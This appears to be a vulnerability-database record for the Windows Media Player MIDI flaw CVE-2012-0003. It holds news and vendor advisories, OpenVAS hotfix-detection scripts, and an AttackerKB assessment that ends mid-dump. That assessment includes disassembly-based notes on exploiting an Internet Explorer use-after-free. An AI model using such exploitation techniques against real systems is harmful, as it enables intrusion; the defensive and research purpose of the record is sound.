vulnerability by using two components that are also hosted on the same domain. The two files are: a MIDI file detected as [TROJ_MDIEXP.QYUA](<http://about-threats.trendmicro.com/Malware.aspx?language=us&name=TROJ_MDIEXP.QYUA>), and a JavaScript detected as [JS_EXPLT.QYUA](<http://about-threats.trendmicro.com/Malware.aspx?language=us&name=JS_EXPLT.QYUA>),\u201d Roland Dela Paz of Trend Micro, wrote in an analysis of the attacks.\n\n\u201cHTML_EXPLT.QYUA calls TROJ_MDIEXP.QYUA to trigger the exploit, and uses JS_EXPLT.QYUA to decode the shellcode embedded in HTML_EXPLT.QYUA\u2019s body.\u201d\n\nThe specific attack that Trend Micro\u2019s researchers have analyzed uses the shellcode to download an encrypted binary, which it then decrypts and executes. The payload in this attack includes some malware with rootkit capabilities, which is installed on the victim\u2019s machine. That rootkit also then connects to a remote server and downloads another component, a backdoor.\n", "modified": "2013-04-17T16:32:55", "published": "2012-01-27T13:03:33", "id": "THREATPOST:6779A5759C7781BA5B73F3B6E0A515F2", "href": "https://threatpost.com/attackers-targeting-windows-media-bug-malware-012712/76146/", "type": "threatpost", "title": "Attackers Targeting Windows Media Bug With Malware", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "symantec": [{"lastseen": "2018-03-14T22:40:49", "bulletinFamily": "software", "cvelist": ["CVE-2012-0003"], "description": "### Description\n\nMicrosoft Windows Media Player is prone to a remote heap-based buffer-overflow vulnerability when handling specially crafted media content. An attacker can exploit this issue by enticing an unsuspecting user to view a malicious webpage. Successful exploits will allow the attacker to execute arbitrary code in the context of the user running the application which can compromise the application and possibly the computer.\n\n### Technologies Affected\n\n * Avaya Aura Conferencing 6.0 Standard \n * Avaya CallPilot 4.0 \n * Avaya CallPilot 5.0 \n * Avaya Communication Server 1000 Telephony Manager 3.0 \n * Avaya Communication Server 1000 Telephony Manager 4.0 \n * Avaya Meeting Exchange - Client Registration Server \n * Avaya Meeting Exchange - Recording Server \n * Avaya Meeting Exchange - Streaming Server \n * Avaya Meeting Exchange - Web Conferencing Server \n * Avaya Meeting Exchange - Webportal \n * Avaya Meeting Exchange 5.0 \n * Avaya Meeting Exchange 5.0 SP1 \n * Avaya Meeting Exchange 5.0 SP2 \n * Avaya Meeting Exchange 5.0.0.0.52 \n * Avaya Meeting Exchange 5.1 \n * Avaya Meeting Exchange 5.1 SP1 \n * Avaya Meeting Exchange 5.2 \n * Avaya Meeting Exchange 5.2 SP1 \n * Avaya Meeting Exchange 5.2 SP2 \n * Avaya Messaging Application Server 4 \n * Avaya Messaging Application Server 5 \n * Avaya Messaging Application Server 5.2 \n * Microsoft Windows Server 2003 Datacenter Edition \n * Microsoft Windows Server 2003 Datacenter Edition Itanium \n * Microsoft Windows Server 2003 Datacenter Edition Itanium SP1 \n * Microsoft Windows Server 2003 Datacenter Edition Itanium SP1 Beta 1 \n * Microsoft Windows Server 2003 Datacenter Edition SP1 \n * Microsoft Windows Server 2003 Datacenter x64 Edition \n * Microsoft Windows Server 2003 Datacenter x64 Edition SP2 \n * Microsoft Windows Server 2003 Enterprise Edition \n * Microsoft Windows Server 2003 Enterprise Edition Itanium \n * Microsoft Windows Server 2003 Enterprise Edition Itanium SP1 \n * Microsoft Windows Server 2003 Enterprise Edition Itanium SP2 \n * Microsoft Windows Server 2003 Enterprise Edition SP1 \n * Microsoft Windows Server 2003 Enterprise x64 Edition \n * Microsoft Windows Server 2003 Enterprise x64 Edition SP2 \n * Microsoft Windows Server 2003 Gold \n * Microsoft Windows Server 2003 Gold X64 \n * Microsoft Windows Server 2003 Itanium \n * Microsoft Windows Server 2003 Itanium SP1 \n * Microsoft Windows Server 2003 Itanium SP2 \n * Microsoft Windows Server 2008 Datacenter Edition \n * Microsoft Windows Server 2008 Datacenter Edition SP2 \n * Microsoft Windows Server 2008 Enterprise Edition \n * Microsoft Windows Server 2008 Enterprise Edition SP2 \n * Microsoft Windows Server 2008 Standard Edition \n * Microsoft Windows Server 2008 Standard Edition Itanium \n * Microsoft Windows Server 2008 Standard Edition SP2 \n * Microsoft Windows Server 2008 Standard Edition X64 \n * Microsoft Windows Server 2008 for 32-bit Systems \n * Microsoft Windows Server 2008 for 32-bit Systems SP2 \n * Microsoft Windows Server 2008 for Itanium-based Systems \n * Microsoft Windows Server 2008 for Itanium-based Systems SP2 \n * Microsoft Windows Server 2008 for x64-based Systems \n * Microsoft Windows Server 2008 for x64-based Systems SP2 \n * Microsoft Windows Vista \n * Microsoft Windows Vista Business 64-bit edition \n * Microsoft Windows Vista Business 64-bit edition SP1 \n * Microsoft Windows Vista Business 64-bit edition SP2 \n * Microsoft Windows Vista Business 64-bit edition Sp1 X64-Enterprise \n * Microsoft Windows Vista Business 64-bit edition Sp1 X64-Home Premium \n * Microsoft Windows Vista Business 64-bit edition Sp1 X64-Ultimate \n * Microsoft Windows Vista Business 64-bit edition Sp1 X86-Enterprise \n * Microsoft Windows Vista Business 64-bit edition Sp1 X86-Ultimate \n * Microsoft Windows Vista Business 64-bit edition X64-Enterprise \n * Microsoft Windows Vista Business 64-bit edition X64-Ultimate \n * Microsoft Windows Vista Business 64-bit edition X86-Enterprise \n * Microsoft Windows Vista Business 64-bit edition X86-Ultimate \n * Microsoft Windows Vista Business \n * Microsoft Windows Vista Business SP1 \n * Microsoft Windows Vista Business SP2 \n * Microsoft Windows Vista Enterprise 64-bit edition \n * Microsoft Windows Vista Enterprise 64-bit edition SP1 \n * Microsoft Windows Vista Enterprise 64-bit edition SP2 \n * Microsoft Windows Vista Enterprise \n * Microsoft Windows Vista Enterprise SP1 \n * Microsoft Windows Vista Enterprise SP2 \n * Microsoft Windows Vista Home Basic 64-bit edition \n * Microsoft Windows Vista Home Basic 64-bit edition SP1 \n * Microsoft Windows Vista Home Basic 64-bit edition SP2 \n * Microsoft Windows Vista Home Basic 64-bit edition Sp1 X64 \n * Microsoft Windows Vista Home Basic 64-bit edition Sp2 X64 \n * Microsoft Windows Vista Home Basic \n * Microsoft Windows Vista Home Basic SP1 \n * Microsoft Windows Vista Home Basic SP2 \n * Microsoft Windows Vista Home Premium 64-bit edition \n * Microsoft Windows Vista Home Premium 64-bit edition SP1 \n * Microsoft Windows Vista Home Premium 64-bit edition SP2 \n * Microsoft Windows Vista Home Premium \n * Microsoft Windows Vista Home Premium SP1 \n * Microsoft Windows Vista Home Premium SP2 \n * Microsoft Windows Vista SP1 \n * Microsoft Windows Vista SP2 \n * Microsoft Windows Vista Ultimate 64-bit edition \n * Microsoft Windows Vista Ultimate 64-bit edition SP1 \n * Microsoft Windows Vista Ultimate 64-bit edition SP2 \n * Microsoft Windows Vista Ultimate \n * Microsoft Windows Vista Ultimate SP1 \n * Microsoft Windows Vista Ultimate SP2 \n * Microsoft Windows Vista x64 Edition \n * Microsoft Windows Vista x64 Edition SP1 \n * Microsoft Windows Vista x64 Edition SP2 \n * Microsoft Windows XP 64-bit Edition \n * Microsoft Windows XP 64-bit Edition SP1 \n * Microsoft Windows XP 64-bit Edition Version 2003 \n * Microsoft Windows XP 64-bit Edition Version 2003 SP1 \n * Microsoft Windows XP \n * Microsoft Windows XP Embedded \n * Microsoft Windows XP Embedded SP1 \n * Microsoft Windows XP Embedded SP2 \n * Microsoft Windows XP Embedded SP3 \n * Microsoft Windows XP Gold \n * Microsoft Windows XP Gold Embedded \n * Microsoft Windows XP Gold Media Center \n * Microsoft Windows XP Gold Professional \n * Microsoft Windows XP Gold Tablet Pc \n * Microsoft Windows XP Home \n * Microsoft Windows XP Home SP1 \n * Microsoft Windows XP Home SP2 \n * Microsoft Windows XP Home SP3 \n * Microsoft Windows XP Media Center Edition 2005 SP3 \n * Microsoft Windows XP Media Center Edition \n * Microsoft Windows XP Media Center Edition SP1 \n * Microsoft Windows XP Media Center Edition SP2 \n * Microsoft Windows XP Media Center Edition SP3 \n * Microsoft Windows XP Professional \n * Microsoft Windows XP Professional SP1 \n * Microsoft Windows XP Professional SP2 \n * Microsoft Windows XP Professional SP3 \n * Microsoft Windows XP Professional x64 Edition \n * Microsoft Windows XP Professional x64 Edition SP2 \n * Microsoft Windows XP Professional x64 Edition SP3 \n * Microsoft Windows XP Service Pack 3 \n * Microsoft Windows XP Tablet PC Edition \n * Microsoft Windows XP Tablet PC Edition SP1 \n * Microsoft Windows XP Tablet PC Edition SP2 \n * Microsoft Windows XP Tablet PC Edition SP3 \n\n### Recommendations\n\n**Run all software as a nonprivileged user with minimal access rights.** \nTo reduce the impact of latent vulnerabilities, always run nonadministrative software as an unprivileged user with minimal access rights.\n\n**Deploy network intrusion detection systems to monitor network traffic for malicious activity.** \nDeploy NIDS to monitor network traffic for signs of anomalous or suspicious activity. This includes but is not limited to requests that include NOP sleds and unexplained incoming and outgoing traffic. This may indicate exploit attempts or activity that results from a successful exploit. \n\n**Do not accept or execute files from untrusted or unknown sources.** \nTo reduce the likelihood of successful attacks, never handle or open files from unknown sources.\n\n**Do not follow links provided by unknown or untrusted sources.** \nTo reduce the likelihood of successful exploits, never visit sites of questionable integrity or follow links provided by unfamiliar or untrusted sources.\n\n**Implement multiple redundant layers of security.** \nAs this issue may be cause by a memory-corruption error, consider various memory-protection schemes (such as nonexecutable and randomly mapped memory segments) that may hinder an attacker's ability to exploit memory-corruption vulnerabilities. Host-based intrusion-prevention systems may also help prevent exploits.\n\nThe vendor released an advisory and updates to address this issue. Please see the references for more information.\n", "modified": "2012-01-10T00:00:00", "published": "2012-01-10T00:00:00", "id": "SMNTC-51292", "href": "https://www.symantec.com/content/symantec/english/en/security-center/vulnerabilities/writeup.html/51292", "type": "symantec", "title": "Microsoft Windows Media Player 'winmm.dll' MIDI File Parsing Remote Buffer Overflow Vulnerability", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "openvas": [{"lastseen": "2020-06-10T19:59:51", "bulletinFamily": "scanner", "cvelist": ["CVE-2012-0003", "CVE-2012-0004"], "description": "This host is missing a critical security update according to\n Microsoft Bulletin MS12-004.", "modified": "2020-06-09T00:00:00", "published": "2012-01-11T00:00:00", "id": "OPENVAS:1361412562310902807", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310902807", "type": "openvas", "title": "Microsoft Windows Media Could Allow Remote Code Execution Vulnerabilities (2636391)", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Microsoft Windows Media Could Allow Remote Code Execution Vulnerabilities (2636391)\n#\n# Authors:\n# Sooraj KS <kssooraj@secpod.com>\n#\n# Copyright:\n# Copyright (C) 2012 SecPod, http://www.secpod.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.902807\");\n script_version(\"2020-06-09T10:15:40+0000\");\n script_bugtraq_id(51292, 51295);\n script_cve_id(\"CVE-2012-0003\", \"CVE-2012-0004\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-06-09 10:15:40 +0000 (Tue, 09 Jun 2020)\");\n script_tag(name:\"creation_date\", value:\"2012-01-11 10:10:10 +0530 (Wed, 11 Jan 2012)\");\n script_name(\"Microsoft Windows Media Could Allow Remote Code Execution Vulnerabilities (2636391)\");\n script_xref(name:\"URL\", value:\"http://securitytracker.com/id/1026492\");\n script_xref(name:\"URL\", value:\"http://www.securelist.com/en/advisories/47485\");\n script_xref(name:\"URL\", value:\"https://docs.microsoft.com/en-us/security-updates/securitybulletins/2012/ms12-004\");\n\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2012 SecPod\");\n script_family(\"Windows : Microsoft Bulletins\");\n script_dependencies(\"secpod_reg_enum.nasl\");\n script_require_ports(139, 445);\n script_mandatory_keys(\"SMB/registry_enumerated\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation will allow the attacker to execute arbitrary code in\n the context of the user running the application which can compromise the\n application and possibly the computer.\");\n\n script_tag(name:\"affected\", value:\"- Microsoft Windows 7 Service Pack 1 and prior\n\n - Microsoft Windows XP Service Pack 3 and prior\n\n - Microsoft Windows 2003 Service Pack 2 and prior\n\n - Microsoft Windows Vista Service Pack 2 and prior\n\n - Microsoft Windows Server 2008 Service Pack 2 and prior\n\n - Microsoft Windows Media Center TV Pack for Microsoft Windows Vista\");\n\n script_tag(name:\"insight\", value:\"- An unspecified error in the Windows multimedia library (winmm.dll) when\n parsing MIDI files can be exploited via a specially crafted file opened\n in Windows Media Player.\n\n - An unspecified error exists in the Line21 DirectShow filter (Quartz.dll\n and Qdvd.dll) when parsing specially crafted media files.\");\n\n script_tag(name:\"solution\", value:\"The vendor has released updates. Please see the references for more information.\");\n\n script_tag(name:\"summary\", value:\"This host is missing a critical security update according to\n Microsoft Bulletin MS12-004.\");\n\n script_tag(name:\"qod_type\", value:\"registry\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"smb_nt.inc\");\ninclude(\"secpod_reg.inc\");\ninclude(\"version_func.inc\");\ninclude(\"secpod_smb_func.inc\");\n\nif(hotfix_check_sp(xp:4, win2003:3, winVista:3, win2008:3, win7:2) <= 0){\n exit(0);\n}\n\n## MS12-004 Hotfix\nif(hotfix_missing(name:\"2598479\") == 0 && hotfix_missing(name:\"2631813\") == 0){\n exit(0);\n}\n\nwinName = get_kb_item(\"SMB/WindowsName\");\nif(\"Windows Vista\" >< winName)\n{\n ## http://msdn.microsoft.com/en-us/library/ms815274.aspx\n mediaTVPackVer = registry_get_sz(key:\"SOFTWARE\\Microsoft\\Windows\\Current\" +\n \"Version\\Media Center\", item:\"Ident\");\n if(hotfix_missing(name:\"2628642\") == 0){\n exit(0);\n }\n}\n\nsysPath = smb_get_systemroot();\nif(!sysPath){\n exit(0);\n}\n\nmciseqVer = fetch_file_version(sysPath:sysPath, file_name:\"system32\\Mciseq.dll\");\nquartzVer = fetch_file_version(sysPath:sysPath, file_name:\"system32\\Quartz.dll\");\n\nif(hotfix_check_sp(xp:4) > 0)\n{\n SP = get_kb_item(\"SMB/WinXP/ServicePack\");\n if(\"Service Pack 3\" >< SP)\n {\n if((mciseqVer && version_is_less(version:mciseqVer, test_version:\"5.1.2600.6160\"))||\n (quartzVer && version_is_less(version:quartzVer, test_version:\"6.5.2600.6169\"))){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n }\n exit(0);\n }\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n}\n\nelse if(hotfix_check_sp(win2003:3) > 0)\n{\n SP = get_kb_item(\"SMB/Win2003/ServicePack\");\n if(\"Service Pack 2\" >< SP)\n {\n if((mciseqVer && version_is_less(version:mciseqVer, test_version:\"5.2.3790.4916\"))||\n (quartzVer && version_is_less(version:quartzVer, test_version:\"6.5.3790.4928\"))){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n }\n exit(0);\n }\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n}\n\nelse if(hotfix_check_sp(winVista:3, win2008:3) > 0)\n{\n SP = get_kb_item(\"SMB/WinVista/ServicePack\");\n\n if(!SP) {\n SP = get_kb_item(\"SMB/Win2008/ServicePack\");\n }\n\n if(mediaTVPackVer && (\"5.1\" >< mediaTVPackVer))\n {\n mstvVer = fetch_file_version(sysPath:sysPath, file_name:\"ehome\\Mstvcapn.dll\");\n if(mstvVer && version_is_less(version:mstvVer, test_version:\"6.1.1000.18311\"))\n {\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n exit(0);\n }\n }\n\n if(\"Service Pack 2\" >< SP)\n {\n if((mciseqVer && (version_in_range(version:mciseqVer, test_version:\"6.0.6002.18000\", test_version2:\"6.0.6002.18527\")||\n version_in_range(version:mciseqVer, test_version:\"6.0.6002.22000\", test_version2:\"6.0.6002.22725\"))) ||\n (quartzVer && (version_in_range(version:quartzVer, test_version:\"6.0.6002.18000\", test_version2:\"6.6.6002.18532\")||\n version_in_range(version:quartzVer, test_version:\"6.6.6002.22000\", test_version2:\"6.6.6002.22731\")))){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n }\n exit(0);\n }\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n}\n\nelse if(hotfix_check_sp(win7:2) > 0)\n{\n if(quartzVer &&\n (version_is_less(version:quartzVer, test_version:\"6.6.7600.16905\")||\n version_in_range(version:quartzVer, test_version:\"6.6.7600.21000\", test_version2:\"6.6.7600.21076\")||\n version_in_range(version:quartzVer, test_version:\"6.6.7601.17000\", test_version2:\"6.6.7601.17712\")||\n version_in_range(version:quartzVer, test_version:\"6.6.7601.21000\", test_version2:\"6.6.7601.21846\"))){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n }\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2017-07-02T21:10:47", "bulletinFamily": "scanner", "cvelist": ["CVE-2012-0003", "CVE-2012-0004"], "description": "This host is missing a critical security update according to\n Microsoft Bulletin MS12-004.", "modified": "2017-02-18T00:00:00", "published": "2012-01-11T00:00:00", "id": "OPENVAS:902807", "href": "http://plugins.openvas.org/nasl.php?oid=902807", "type": "openvas", "title": "Microsoft Windows Media Could Allow Remote Code Execution Vulnerabilities (2636391)", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: secpod_ms12-004.nasl 5341 2017-02-18 16:59:12Z cfi $\n#\n# Microsoft Windows Media Could Allow Remote Code Execution Vulnerabilities (2636391)\n#\n# Authors:\n# Sooraj KS <kssooraj@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2012 SecPod, http://www.secpod.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_impact = \"Successful exploitation will allow the attacker to execute arbitrary code in\n the context of the user running the application which can compromise the\n application and possibly the computer.\n Impact Level: System/Application\";\ntag_affected = \"Micorsoft Windows 7 Service Pack 1 and prior.\n Microsoft Windows XP Service Pack 3 and prior.\n Microsoft Windows 2003 Service Pack 2 and prior.\n Microsoft Windows Vista Service Pack 2 and prior.\n Microsoft Windows Server 2008 Service Pack 2 and prior.\n Microsoft Windows Media Center TV Pack for Windows Vista.\";\ntag_insight = \"- An unspecified error in the Windows multimedia library (winmm.dll) when\n parsing MIDI files can be exploited via a specially crafted file opened\n in Windows Media Player.\n - An unspecified error exists in the Line21 DirectShow filter (Quartz.dll\n and Qdvd.dll) when parsing specially crafted media files.\";\ntag_solution = \"Run Windows Update and update the listed hotfixes or download and\n update mentioned hotfixes in the advisory from the below link,\n http://technet.microsoft.com/en-us/security/bulletin/ms12-004\";\ntag_summary = \"This host is missing a critical security update according to\n Microsoft Bulletin MS12-004.\";\n\nif(description)\n{\n script_id(902807);\n script_version(\"$Revision: 5341 $\");\n script_bugtraq_id(51292, 51295);\n script_cve_id(\"CVE-2012-0003\", \"CVE-2012-0004\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-02-18 17:59:12 +0100 (Sat, 18 Feb 2017) $\");\n script_tag(name:\"creation_date\", value:\"2012-01-11 10:10:10 +0530 (Wed, 11 Jan 2012)\");\n script_name(\"Microsoft Windows Media Could Allow Remote Code Execution Vulnerabilities (2636391)\");\n script_xref(name : \"URL\" , value : \"http://secunia.com/advisories/47485\");\n script_xref(name : \"URL\" , value : \"http://securitytracker.com/id/1026492\");\n script_xref(name : \"URL\" , value : \"http://www.securelist.com/en/advisories/47485\");\n script_xref(name : \"URL\" , value : \"http://technet.microsoft.com/en-us/security/bulletin/ms12-004\");\n\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2012 SecPod\");\n script_family(\"Windows : Microsoft Bulletins\");\n script_dependencies(\"secpod_reg_enum.nasl\");\n script_require_ports(139, 445);\n script_mandatory_keys(\"SMB/WindowsVersion\");\n\n script_tag(name : \"impact\" , value : tag_impact);\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n script_tag(name:\"qod_type\", value:\"registry\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n exit(0);\n}\n\n\ninclude(\"smb_nt.inc\");\ninclude(\"secpod_reg.inc\");\ninclude(\"version_func.inc\");\ninclude(\"secpod_smb_func.inc\");\n\n## Check for OS and Service Pack\nif(hotfix_check_sp(xp:4, win2003:3, winVista:3, win2008:3, win7:2) <= 0){\n exit(0);\n}\n\n## MS12-004 Hotfix\nif(hotfix_missing(name:\"2598479\") == 0 && hotfix_missing(name:\"2631813\") == 0){\n exit(0);\n}\n\nwinName = get_kb_item(\"SMB/WindowsName\");\nif(\"Windows Vista\" >< winName)\n{\n ## Confirm Windows Media Center TV Pack installed by checking version 5.1\n ## http://msdn.microsoft.com/en-us/library/ms815274.aspx\n mediaTVPackVer = registry_get_sz(key:\"SOFTWARE\\Microsoft\\Windows\\Current\" +\n \"Version\\Media Center\", item:\"Ident\");\n if(hotfix_missing(name:\"2628642\") == 0){\n exit(0);\n }\n}\n\n## Get System Path\nsysPath = smb_get_systemroot();\nif(!sysPath){\n exit(0);\n}\n\n## Get Version from Mciseq.dll file\nmciseqVer = fetch_file_version(sysPath, file_name:\"system32\\Mciseq.dll\");\nquartzVer = fetch_file_version(sysPath, file_name:\"system32\\Quartz.dll\");\n\n## Windows XP\nif(hotfix_check_sp(xp:4) > 0)\n{\n SP = get_kb_item(\"SMB/WinXP/ServicePack\");\n if(\"Service Pack 3\" >< SP)\n {\n ## Check for Mciseq.dll and Quartz.dll versions\n if((mciseqVer && version_is_less(version:mciseqVer, test_version:\"5.1.2600.6160\"))||\n (quartzVer && version_is_less(version:quartzVer, test_version:\"6.5.2600.6169\"))){\n security_message(0);\n }\n exit(0);\n }\n security_message(0);\n}\n\n## Windows 2003\nelse if(hotfix_check_sp(win2003:3) > 0)\n{\n SP = get_kb_item(\"SMB/Win2003/ServicePack\");\n if(\"Service Pack 2\" >< SP)\n {\n ## Check for Mciseq.dll and Quartz.dll versions\n if((mciseqVer && version_is_less(version:mciseqVer, test_version:\"5.2.3790.4916\"))||\n (quartzVer && version_is_less(version:quartzVer, test_version:\"6.5.3790.4928\"))){\n security_message(0);\n }\n exit(0);\n }\n security_message(0);\n}\n\n## Windows Vista and Windows Server 2008\nelse if(hotfix_check_sp(winVista:3, win2008:3) > 0)\n{\n SP = get_kb_item(\"SMB/WinVista/ServicePack\");\n\n if(!SP) {\n SP = get_kb_item(\"SMB/Win2008/ServicePack\");\n }\n\n if(mediaTVPackVer && (\"5.1\" >< mediaTVPackVer))\n {\n ## Get Version from Mstvcapn.dll file\n mstvVer = fetch_file_version(sysPath, file_name:\"ehome\\Mstvcapn.dll\");\n if(mstvVer && version_is_less(version:mstvVer, test_version:\"6.1.1000.18311\"))\n {\n security_message(0);\n exit(0);\n }\n }\n\n if(\"Service Pack 2\" >< SP)\n {\n ## Check for Mciseq.dll and Quartz.dll versions\n if((mciseqVer && (version_in_range(version:mciseqVer, test_version:\"6.0.6002.18000\", test_version2:\"6.0.6002.18527\")||\n version_in_range(version:mciseqVer, test_version:\"6.0.6002.22000\", test_version2:\"6.0.6002.22725\"))) ||\n (quartzVer && (version_in_range(version:quartzVer, test_version:\"6.0.6002.18000\", test_version2:\"6.6.6002.18532\")||\n version_in_range(version:quartzVer, test_version:\"6.6.6002.22000\", test_version2:\"6.6.6002.22731\")))){\n security_message(0);\n }\n exit(0);\n }\n security_message(0);\n}\n\n## Windows 7\nelse if(hotfix_check_sp(win7:2) > 0)\n{\n ## Check for Quartz.dll version\n if(quartzVer &&\n (version_is_less(version:quartzVer, test_version:\"6.6.7600.16905\")||\n version_in_range(version:quartzVer, test_version:\"6.6.7600.21000\", test_version2:\"6.6.7600.21076\")||\n version_in_range(version:quartzVer, test_version:\"6.6.7601.17000\", test_version2:\"6.6.7601.17712\")||\n version_in_range(version:quartzVer, test_version:\"6.6.7601.21000\", test_version2:\"6.6.7601.21846\"))){\n security_message(0);\n }\n}\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "attackerkb": [{"lastseen": "2020-11-15T18:45:54", "bulletinFamily": "info", "cvelist": ["CVE-2012-0003", "CVE-2014-0322"], "description": "Use-after-free vulnerability in Microsoft Internet Explorer 9 and 10 allows remote attackers to execute arbitrary code via vectors involving crafted JavaScript code, CMarkup, and the onpropertychange attribute of a script element, as exploited in the wild in January and February 2014.\n\n \n**Recent assessments:** \n \n**wchen-r7** at September 12, 2019 6:07pm UTC reported:\n\n\u2014\n\nThe crash / corruptions happens at CMarkup::UpdateMarkupContentsVersion:\n \n \n .text:637C9454 inc dword ptr [eax+10h]\n \n\nIn order to return from CMarkup::UpdateMarkupContentsVersion we can use the next route:\n \n \n .text:637C9454 inc dword ptr [eax+10h] ; Corruption!\n .text:637C9457\n .text:637C9457 loc_637C9457: ; CODE XREF: CMarkup::UpdateMarkupContentsVersion(void)+14j\n .text:637C9457 mov ecx, [edx+94h] ; we need to bypass this part, we control edx, so not a big deal\n .text:637C945D xor eax, eax\n .text:637C945F test ecx, ecx\n .text:637C9461 jz short loc_637C9466\n .text:637C9463 mov eax, [ecx+0Ch]\n .text:637C9466\n .text:637C9466 loc_637C9466: ; CODE XREF: CMarkup::UpdateMarkupContentsVersion(void)+23j\n .text:637C9466 cmp dword ptr [eax+1C0h], 0 ; We must make eax+1c0h == 0 (not a big deal via spray)\n .text:637C946D jz short locret_637C9496 ; So this jz is taken and we return from CMarkup::UpdateMarkupContentsVersion\n \n\n * After returning from CMarkup::UpdateMarkupContentsVersion we land into CMarkup::NotifyElementEnterTree: \n\n \n \n .text:63776EC8 call ?UpdateMarkupContentsVersion@CMarkup@@QAEXXZ ; it's the call we're using for corruption\n .text:63776ECD mov eax, [esi+98h] ; esi is the controlled object\n .text:63776ED3 test eax, eax\n .text:63776ED5 jz short loc_63776EED\n .text:63776ED7 cmp dword ptr [esi+1A4h], 15F90h\n .text:63776EE1 jl short loc_63776EED\n .text:63776EE3 mov eax, [eax+8]\n .text:63776EE6 and dword ptr [eax+2F0h], 0FFFFFFBFh ; We need to bypass this and, after that we get the control back :)\n \n\nReused object:\n \n \n 0:008> dd 061b90c8 Ld0\n 061b90c8 deadc0de 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b90d8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b90e8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b90f8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9108 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9118 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9128 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9138 1a1b1ff0 1a1b1ff0 1a1b1ff1 9a1b1ff1\n 061b9148 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9158 1a1b1ff0 1a1b2004 1a1b200c 1a1b1ff0\n 061b9168 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9178 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9188 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9198 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b91a8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b91b8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b91c8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b91d8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b91e8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b91f8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9208 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9218 1a1b1ff0 1a1b1ff0 1a1b1ff0 42424242\n 061b9228 1a1b1ff4 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9238 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9248 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0\n 061b9258 1a1b1ff0 